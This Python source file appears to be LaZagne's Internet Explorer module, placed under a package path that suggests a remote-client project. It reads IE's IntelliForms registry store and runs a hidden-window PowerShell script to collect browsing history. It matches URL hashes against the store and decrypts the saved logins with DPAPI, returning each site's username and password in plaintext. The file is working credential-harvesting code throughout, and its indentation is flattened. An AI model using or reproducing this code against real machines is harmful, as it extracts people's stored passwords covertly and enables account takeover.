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import hashlib
import subprocess
import traceback
import foreign.client_handling.lazagne.config.winstructure as win
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.constant import constant
try:
import _subprocess as sub
STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
SW_HIDE = sub.SW_HIDE
except ImportError:
STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
SW_HIDE = subprocess.SW_HIDE
try:
import _winreg as winreg
except ImportError:
import winreg
class IE(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)
def get_hash_table(self):
# get the url list
urls = self.get_history()
# calculate the hash for all urls found on the history
hash_tables = []
for u in range(len(urls)):
try:
h = (urls[u] + '\0').encode('UTF-16LE')
hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])
except Exception:
self.debug(traceback.format_exc())
return hash_tables
def get_history(self):
urls = self.history_from_regedit()
try:
urls = urls + self.history_from_powershell()
except Exception:
self.debug(traceback.format_exc())
urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',
'https://accounts.google.com/servicelogin']
return urls
def history_from_powershell(self):
# From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/
cmdline = '''
function get-iehistory {
[CmdletBinding()]
param ()
$shell = New-Object -ComObject Shell.Application
$hist = $shell.NameSpace(34)
$folder = $hist.Self
$hist.Items() |
foreach {
if ($_.IsFolder) {
$siteFolder = $_.GetFolder
$siteFolder.Items() |
foreach {
$site = $_
if ($site.IsFolder) {
$pageFolder = $site.GetFolder
$pageFolder.Items() |
foreach {
$visit = New-Object -TypeName PSObject -Property @{
URL = $($pageFolder.GetDetailsOf($_,0))
}
$visit
}
}
}
}
}
}
get-iehistory
'''
command = ['powershell.exe', '/c', cmdline]
info = subprocess.STARTUPINFO()
info.dwFlags = STARTF_USESHOWWINDOW
info.wShowWindow = SW_HIDE
p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, universal_newlines=True)
results, _ = p.communicate()
urls = []
for r in results.split('\n'):
if r.startswith('http'):
urls.append(r.strip())
return urls
def history_from_regedit(self):
urls = []
try:
hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\TypedURLs')
except Exception:
self.debug(traceback.format_exc())
return []
num = winreg.QueryInfoKey(hkey)[1]
for x in range(0, num):
k = winreg.EnumValue(hkey, x)
if k:
urls.append(k[1])
winreg.CloseKey(hkey)
return urls
def decipher_password(self, cipher_text, u):
pwd_found = []
# deciper the password
pwd = win.Win32CryptUnprotectData(cipher_text, u, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
a = ''
if pwd:
for i in range(len(pwd)):
try:
a = pwd[i:].decode('UTF-16LE')
a = a.decode('utf-8')
break
except Exception:
return []
if not a:
return []
# the last one is always equal to 0
secret = a.split('\x00')
if secret[len(secret) - 1] == '':
secret = secret[:len(secret) - 1]
# define the length of the tab
if len(secret) % 2 == 0:
length = len(secret)
else:
length = len(secret) - 1
# list username / password in clear text
password = None
for s in range(length):
try:
if s % 2 != 0:
pwd_found.append({
'URL': u.decode('UTF-16LE'),
'Login': secret[length - s],
'Password': password
})
else:
password = secret[length - s]
except Exception:
self.debug(traceback.format_exc())
return pwd_found
def run(self):
if float(win.get_os_version()) > 6.1:
self.debug(u'Internet Explorer passwords are stored in Vault (check vault module)')
return
pwd_found = []
try:
hkey = win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2')
except Exception:
self.debug(traceback.format_exc())
else:
nb_site = 0
nb_pass_found = 0
# retrieve the urls from the history
hash_tables = self.get_hash_table()
num = winreg.QueryInfoKey(hkey)[1]
for x in range(0, num):
k = winreg.EnumValue(hkey, x)
if k:
nb_site += 1
for h in hash_tables:
# both hash are similar, we can decipher the password
if h[1] == k[0][:40].lower():
nb_pass_found += 1
cipher_text = k[1]
pwd_found += self.decipher_password(cipher_text, h[0])
break
winreg.CloseKey(hkey)
# manage errors
if nb_site > nb_pass_found:
self.error(u'%s hashes have not been decrypted, the associate website used to decrypt the '
u'passwords has not been found' % str(nb_site - nb_pass_found))
return pwd_found
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